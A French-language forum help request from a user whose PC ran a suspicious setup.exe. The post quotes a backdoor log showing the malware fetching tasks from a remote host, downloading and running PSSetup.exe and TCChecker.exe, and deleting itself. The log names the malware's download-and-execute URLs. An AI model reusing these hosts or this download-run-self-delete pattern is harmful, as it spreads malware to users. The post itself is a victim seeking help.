Backdoor

Bonjour,
Quelqu'un a exécuté un fichier (setup.exe) sur mon poste.
Ce fichier avait été analysé par msf security qui n'a rien trouvé.
L'installation n'a "apparemment" rien fait mais je vient de découvrir un fichier backdoor.log (dans le même dossier que setup.exe) qui contient ça:

12/07/2011 [22:13.11] 1 {T3240} [dbg] Backdoor started
12/07/2011 [22:13.11] 2 {T3240} [dbg] Run process: "C:\Users\Xxx\AppData\Local\Temp\explorer.exe" 1
12/07/2011 [22:13.13] 3 {T3240} [dbg] Run process: OK. Process id: 1816
12/07/2011 [22:13.15] 1 {T2616} [dbg] Backdoor started
12/07/2011 [22:13.15] 2 {T2616} Runed as xml gate
12/07/2011 [22:13.15] 3 {T2616} [dbg] Fetch task from: http://keyscratch.com/gettasks3.php?protocol=1&protoversion=1002&o=0&p=C:%5CUsers%5CXxx%5CAppData%5CLocal%5CTemp%5Cexplorer.exe&f=19173888
12/07/2011 [22:13.15] 4 {T2616} [dbg] Curl post rc4 decrypted data: §« ¤(plein de codes)w¬~ôQ
12/07/2011 [22:13.15] 5 {T2616} Fetch task...OK
12/07/2011 [22:13.15] 6 {T2616} [dbg] Wait for command MFC
12/07/2011 [22:13.15] 7 {T4452} Execute command: Open Exit page
12/07/2011 [22:13.15] 8 {T3356} Execute command: MFC
12/07/2011 [22:13.15] 9 {T4452} [dbg] Execute browse command for URL: http://www.brothersoft.com
12/07/2011 [22:13.15] 10 {T3356} Create direcotry: C:/Users/Xxx/AppData/Local/Temp/tasks/
12/07/2011 [22:13.15] 11 {T3356} Download file from URL: http://www.keyscratch.com/downloads/PSSetup.exe to: C:\Users\Xxx\AppData\Local\Temp\tasks\PSSetup.exe
12/07/2011 [22:13.16] 12 {T4452} [dbg] Finished command Open Exit page
12/07/2011 [22:13.17] 13 {T3356} Create process: C:\Users\Xxx\AppData\Local\Temp\tasks\PSSetup.exe
12/07/2011 [22:13.17] 14 {T3356} Wait for process...
12/07/2011 [22:14.57] 15 {T3356} Process exited with error code: 0
12/07/2011 [22:14.57] 16 {T3356} [dbg] Finished command MFC
12/07/2011 [22:14.57] 17 {T2616} [dbg] Finished command MFC
12/07/2011 [22:14.57] 18 {T2616} [dbg] Wait for all commands...
12/07/2011 [22:14.57] 19 {T4880} Execute command: TCChecker
12/07/2011 [22:14.57] 20 {T4880} Create direcotry: C:/Users/Xxx/AppData/Local/Temp/tasks/
12/07/2011 [22:14.57] 21 {T4880} Download file from URL: http://www.keyscratch.com/downloads/TCChecker.exe to: C:\Users\Xxx\AppData\Local\Temp\tasks\TCChecker.exe
12/07/2011 [22:15.05] 22 {T4880} Create process: C:\Users\Xxx\AppData\Local\Temp\tasks\TCChecker.exe /I
12/07/2011 [22:15.05] 23 {T4880} [dbg] Finished command TCChecker
12/07/2011 [22:15.05] 24 {T2616} [dbg] All commands are finished
12/07/2011 [22:15.05] 25 {T2616} [dbg] Invoke self delete
12/07/2011 [22:15.05] 26 {T2616} [dbg] Self remove script C:\Users\Xxx\AppData\Local\Temp\1041.bat
12/07/2011 [22:15.05] 27 {T2616} [dbg] Run process: "C:\Users\Xxx\AppData\Local\Temp\1041.bat"
12/07/2011 [22:15.05] 28 {T2616} [dbg] Run process: OK. Process id: 4624
12/07/2011 [22:15.05] 29 {T2616} Self delete batch script start: OK


(J'ai mis des xxx et enlevé la partie cryptée par sécurité)

Bien sure j'ai vidé les dossiers en question mais je voudrais savoir ...

pourquoi ces sites distant sont forbidden?
c'est quoi tcchecker, pssetup?
Dois-je formater mon poste?

Depuis mon iexplorer et firefox ont une barre d'outil et des plugin "my web search 1.2"

Quelqu'un sait quel genre de m... je viens d'attraper?

Merci de m'éclairer svp